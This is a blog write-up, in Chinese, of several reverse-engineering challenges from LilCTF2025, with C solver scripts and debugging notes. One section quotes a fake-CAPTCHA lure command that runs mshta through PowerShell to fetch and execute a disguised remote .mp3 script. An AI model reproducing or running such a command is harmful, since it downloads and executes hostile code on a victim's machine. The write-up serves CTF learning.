LilCTF2025 reverse wp

ARM ASM

10

java层有密文,check在so层

11

三段加密,指令->移位->base64(自定义)

veorq_s8:异或

vqtbl1q_s8:查表

自带base64解密

#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define base64 "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3456780129+/"

char* decodeBase64(const char *a1, int a2, char **a3)
{
	int pad = 0;
	const char *p = a1;
	char *filtered = malloc(a2 + 1);
	int flen = 0;
	for (int i = 0; i < a2; i++) {
		if (a1[i] != ' ' && a1[i] != '\n' && a1[i] != '\r' && a1[i] != '\t') {
			filtered[flen++] = a1[i];
		}
	}
	filtered[flen] = '\0';
	
	for (int i = flen - 1; i >= 0 && filtered[i] == '='; i--) pad++;
	flen -= pad;
	
	unsigned int bits = 0;
	int blen = 0;
	char v21[256] = {0};
	for (int i = 0; i < 64; i++) {
		v21[(unsigned char)base64[i]] = i;
	}
	
	char *out = malloc(flen * 3 / 4 + 1);
	int outlen = 0;
	
	for (int i = 0; i < flen; i++) {
		int v = v21[(unsigned char)filtered[i]];
		bits = (bits << 6) | v;
		blen += 6;
		while (blen >= 8) {
			blen -= 8;
			out[outlen++] = (bits >> blen) & 0xFF;
			bits &= (1 << blen) - 1;
		}
	}
	
	if (pad) outlen -= pad;
	out[outlen] = 0;
	free(filtered);
	
	*a3 = out;
	return out;
}

void yi(char v11[]){
	for ( int i = 0; i <= 47; i += 3 )
	{
		unsigned char a=v11[i],b=v11[i+1];
		v11[i] = ((a >> 3) | ( a <<  5 ))&0xff;
		v11[i + 1] = ((b << 1) | (b >> 7))&0xff;
		v11[i + 2] = v11[i + 2];
	}
}

void inv(char a[]) {
	unsigned char t[16] = {0x0D,0x0E,0x0F,0x0C,0x0B,0x0A,0x09,0x08,0x06,0x07,0x05,0x04,0x02,0x03,0x01,0x00};
	
	for (int i = 0; i < 3; i++) {
		unsigned char *temp = (unsigned char*)a + 16*i;
		unsigned char b[16], c[16];

		for (int j = 0; j < 16; j++) {
			b[j] = temp[j] ^ t[j];
		}

		for (int j = 0; j < 16; j++) {
			c[t[j]] = b[j];
		}

		memcpy(temp, c, 16);

		for (int j = 0; j < 16; j++) {
			t[j] ^= i;
		}
	}
}

int main()
{
	char enc[] = "KRD2c1XRSJL9e0fqCIbiyJrHW1bu0ZnTYJvYw1DM2RzPK1XIQJnN2ZfRMY4So09S";
	int len = strlen(enc);
	char *dec;
	
	decodeBase64(enc, len, &dec);
	if (dec) {
		yi(dec);
		inv(dec);
		printf("%.*s\n", 48, dec);
		free(dec);
	}
	return 0;
}

Qt_Creator

这道题感觉捷径是视奸作者的博客

在03篇提到了这个register

image

看到这个就知道是明文对比,通过ciallo找到这个函数

前面有反调试

image

patch一下

image

image

a1就是flag

其实看函数的话用ida9和博客几乎一样,但是我ida9无法调试出来

image

image

这个样子我真的没招了

1'M no7 A rO6oT

参考wp:http://20.2.36.130/2025/08/18/lilctf2025-qwer-writeup/#toc-head-3

https://2hi5hu.cn/archives/lilctf2025#1m-no7-a-ro6ot

https://blog.rkk.moe/2025/08/18/LilCTF-2025-Writeup/#1’M-no7-A-rO6oT

此题展现ai神力,一步步还原

image

点击验证会复制下面的内容,或者直接查看都能看到mp3文件

powershell . \*i*\\\\\\\\\\\\\\\*2\msh*e http://gz.imxbt.cn:20083/Coloringoutomic_Host.mp3 http://gz.imxbt.cn:20083/Coloringoutomic_Host.mp3 # ✅ Ι am nοt a rοbοt: CAPTCHA Verification ID: 10086

下载文件

image

文件内部有script代码

image

控制台运行查看SxhM,每个数减601,再解

image

hex异或204

image

有一张图片

image

查看文件内容又是可经过混淆的

image

obfusheader.h

时隔很久的复现,没想到一下子就成功了,太不容易惹

image

运行程序的时候会发现对flag的长度做了提示,40为正确长度(我觉得当时做的时候就是忽略了长度的问题)

image

shift+f12找到输入flag提示

image

下面找到scanf提示

image

运行发现这个断电函数就是在调用scanf函数

image

看到这个byte_7FF71854A040就是输入内容

image

根据题目提示下硬件断点

image

image

f9运行之后第一次断在这里,调试发现是计算输入长度的

image

image

第二次是异或,看到rand函数,回去找srand

image

依旧是shift+f12

image

找到srand函数

重新调试查看调用

在 Windows x64 下,调用约定是 fastcall,即函数的前几个参数会放在寄存器里:

  1. RCX → 第 1 个参数
  2. RDX → 第 2 个参数
  3. R8 → 第 3 个参数
  4. R9 → 第 4 个参数

void __cdecl srand(unsigned int Seed)

该函数只接受了seed参数,所以rcx就是seed,即0x48691412,当然可能这样有风险,所以我直接取程序里面的数

直接将异或运行完

image

原来是40个a,经过异或后变成这样,就能知道rand的值

0x76,0x4c,0xb8,0x7d,0x64,0x47,0xf8,0x50,0xa7,0x43,0xc8,0x33,0x87,0x67,0xd4,0x69,0x7e,0x4c,0x41,0x61,0x64,0x40,0xa5,0xf,0x13,0x4d,0xa9,0x7f,0xf9,0x21,0xc0,0x5c,0x76,0x17,0x9e,0x75,0xfd,0x1,0x4c,0x33

image

image

再次f9到这里,明显有花指令,简单去花

image

image

反编译正常,加密是对每个值的高四位和低四位交换位置,在对每个值单独取反,并且看到加密完成的提示,开始cmp

image

继续f9,cmp在这并且断点触发

image

提取出cmp数据

#include <stdio.h>
#include <stdint.h>
int main(){
	int a[]={0x17,0x2D,0xD9,0x1C,0x5,0x26,0x99,0x31,0xC6,0x22,0xA9,0x52,0xE6,0x6,0xB5,0x8,0x1F,0x2D,0x20,0x0,0x5,0x21,0xC4,0x6E,0x72,0x2C,0xC8,0x1E,0x98,0x40,0xA1,0x3D,0x17,0x76,0xFF,0x14,0x9C,0x60,0x2D,0x52};
	int b[40]={0};
	for(int i=0;i<40;i++){
		b[i]='a'^a[i];
//		printf("0x%x,",b[i]);
	}
	
	int enc[]={0x5C,0xAF,0xB0,0x1C,0xFC,0xEF,0xC7,0x8D,0x1,0x88,0x34,0x39,0x94,0xBC,0x47,0x2D,0xE,0x7C,0xEF,0xFA,0x7D,0xF,0xD0,0xFA,0xF8,0x68,0x83,0xFD,0x73,0xA8,0x6,0x1E,0xAB,0x7B,0x40,0xBC,0x67,0xBB,0xDD,0x1B};
	for(int i=0;i<40;i++){
		int temp=enc[i];
		enc[i] = (temp>>4)|(temp<<4);
		enc[i]=~enc[i];
		printf("%c",enc[i]^b[i]);
	}
}
posted @ 2025-09-13 21:05  zzz222666  阅读(29)  评论(0)    收藏  举报